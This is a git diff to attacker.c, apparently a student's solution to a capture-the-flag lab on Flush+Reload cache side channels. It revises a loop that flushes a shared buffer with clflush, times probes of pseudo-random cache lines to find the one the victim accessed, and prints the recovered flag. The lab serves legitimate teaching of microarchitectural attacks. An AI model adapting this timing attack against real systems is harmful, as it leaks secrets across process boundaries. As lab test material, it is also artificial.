diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index 4fbcc2f..e09aa2e 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -25,30 +25,33 @@ int main() { char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here - for(int i = 0; i < 1024; i++) { - clflush((ADDR_PTR)buf + i * 128); - } - for(int i = 0; i < WAIT_TIME; i++); - for(int i = 0; i < 10000; i++) { - new_offset = (AVAR * offset + CVAR) % 1024; - if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) { - offset = (AVAR1 * offset + CVAR1) % 1024; + for (int j = 0; j < 1024; j++) { + for(int i = 0; i < 1024; i++) { + clflush((ADDR_PTR)buf + i * 128); } - else { - offset = new_offset; - } - time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); - if(time < CACHE_HIT_THRESHOLD) { - clflush((ADDR_PTR)buf + offset * 128); - for(int i = 0; i < WAIT_TIME; i++); - new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); - if(new_time < CACHE_HIT_THRESHOLD) { - flag = offset; - index = i; - break; + for(int i = 0; i < WAIT_TIME; i++); + for(int i = 0; i < 64; i++) { + new_offset = (AVAR * offset + CVAR) % 1024; + if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) { + offset = (AVAR1 * offset + CVAR1) % 1024; + } + else { + offset = new_offset; + } + time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); + if(time < CACHE_HIT_THRESHOLD) { + // clflush((ADDR_PTR)buf + offset * 128); + for(int i = 0; i < WAIT_TIME; i++); + new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); + if(new_time < CACHE_HIT_THRESHOLD) { + flag = offset; + index = i; + break; + } } } } + printf("Flag: %d\n", flag); printf("Time: %d\n", time); printf("Index: %d\n", index);